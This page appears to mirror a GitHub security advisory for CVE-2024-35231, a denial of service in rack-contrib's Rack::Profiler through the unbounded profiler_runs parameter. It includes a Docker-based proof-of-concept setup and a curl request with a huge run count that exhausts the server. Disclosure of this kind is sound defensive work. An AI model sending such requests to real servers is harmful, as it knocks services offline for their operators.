GHSA-8C8Q-2XW3-J869
Vulnerability from github – Published: 2024-05-28 15:48 – Updated: 2024-05-31 20:42
VLAI
Summary
rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming "profiler_runs" parameter
Details
Summary
The next ruby code is vulnerable to denial of service due to the fact that the user controlled data profiler_runs was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).
runs = (request.params['profiler_runs'] || @times).to_i
result = @profile.profile do
runs.times { @app.call(env) }
end
An exploit as such curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time" may cause resource exhaution by a remotely controlled value.
PoC
Herein the config.ru file:
require 'rack'
require 'rack/contrib'
use Rack::Profiler # if ENV['RACK_ENV'] == 'development'
# Define a Rack application
app = lambda do |env|
# Your application logic goes here
[200, {}, ["Hello World"]]
end
# Run the Rack application
run app
A Dockerfile:
# Use the official Ruby image as a base
FROM ruby:latest
# Set the working directory inside the container
WORKDIR /app
# Copy the custom config.ru file into the container
COPY config.ru .
COPY Gemfile .
# Install rack and the gems needed to run the app
RUN bundle install
# Expose the port that rackup will listen on
EXPOSE 9292
# Run rackup when the container starts
ENTRYPOINT ["rackup","--host","0.0.0.0","--port","9292"]
# Health check
HEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1
A Gemfile
source 'https://rubygems.org'
gem 'rack', '~> 2.0'
gem 'rack-contrib', '~> 2.4'
gem 'rackup'
gem 'ruby-prof'
A Docker compose
services:
app:
build:
context: .
ports:
- "9292:9292"
To run the PoC
docker compose up --build
To exploit DoS:
curl "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"
Impact
- Potential denial of service by remotely user-controlled data.
Severity
8.6 (High)
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rack-contrib"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-35231"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-28T15:48:43Z",
"nvd_published_at": "2024-05-27T17:15:09Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe next ruby code is vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).\n\n```ruby\n runs = (request.params[\u0027profiler_runs\u0027] || @times).to_i\n result = @profile.profile do\n runs.times { @app.call(env) }\n end\n```\n\nAn exploit as such `curl --fail \"http://127.0.0.1:9292/?profiler_runs=9999999999\u0026profile=process_time\"` may cause resource exhaution by a remotely controlled value.\n\n### PoC\n\nHerein the `config.ru` file: \n\n```ruby\nrequire \u0027rack\u0027\nrequire \u0027rack/contrib\u0027\n\nuse Rack::Profiler # if ENV[\u0027RACK_ENV\u0027] == \u0027development\u0027\n\n# Define a Rack application\napp = lambda do |env|\n # Your application logic goes here\n [200, {}, [\"Hello World\"]]\nend\n\n# Run the Rack application\nrun app\n```\n\nA Dockerfile:\n\n```Dockerfile\n# Use the official Ruby image as a base\nFROM ruby:latest\n\n# Set the working directory inside the container\nWORKDIR /app\n\n# Copy the custom config.ru file into the container\nCOPY config.ru .\nCOPY Gemfile .\n\n# Install rack and the gems needed to run the app\nRUN bundle install\n\n# Expose the port that rackup will listen on\nEXPOSE 9292\n\n# Run rackup when the container starts\nENTRYPOINT [\"rackup\",\"--host\",\"0.0.0.0\",\"--port\",\"9292\"]\n\n# Health check\nHEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1\n\n```\n\nA Gemfile \n\n```\nsource \u0027https://rubygems.org\u0027\n\ngem \u0027rack\u0027, \u0027~\u003e 2.0\u0027\ngem \u0027rack-contrib\u0027, \u0027~\u003e 2.4\u0027\ngem \u0027rackup\u0027\ngem \u0027ruby-prof\u0027\n```\n\nA Docker compose\n\n```Dockerfile\nservices:\n app:\n build:\n context: .\n ports:\n - \"9292:9292\"\n```\n\nTo run the PoC \n\n```bash\ndocker compose up --build\n```\n\nTo exploit DoS: \n\n```bash\ncurl \"http://127.0.0.1:9292/?profiler_runs=9999999999\u0026profile=process_time\"\n```\n\n### Impact\n - Potential denial of service by remotely user-controlled data.\n",
"id": "GHSA-8c8q-2xw3-j869",
"modified": "2024-05-31T20:42:29Z",
"published": "2024-05-28T15:48:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rack/rack-contrib/security/advisories/GHSA-8c8q-2xw3-j869"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35231"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack-contrib/commit/0eec2a9836329051c6742549e65a94a4c24fe6f7"
},
{
"type": "PACKAGE",
"url": "https://github.com/rack/rack-contrib"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rack-contrib/CVE-2024-35231.yml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming \"profiler_runs\" parameter"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…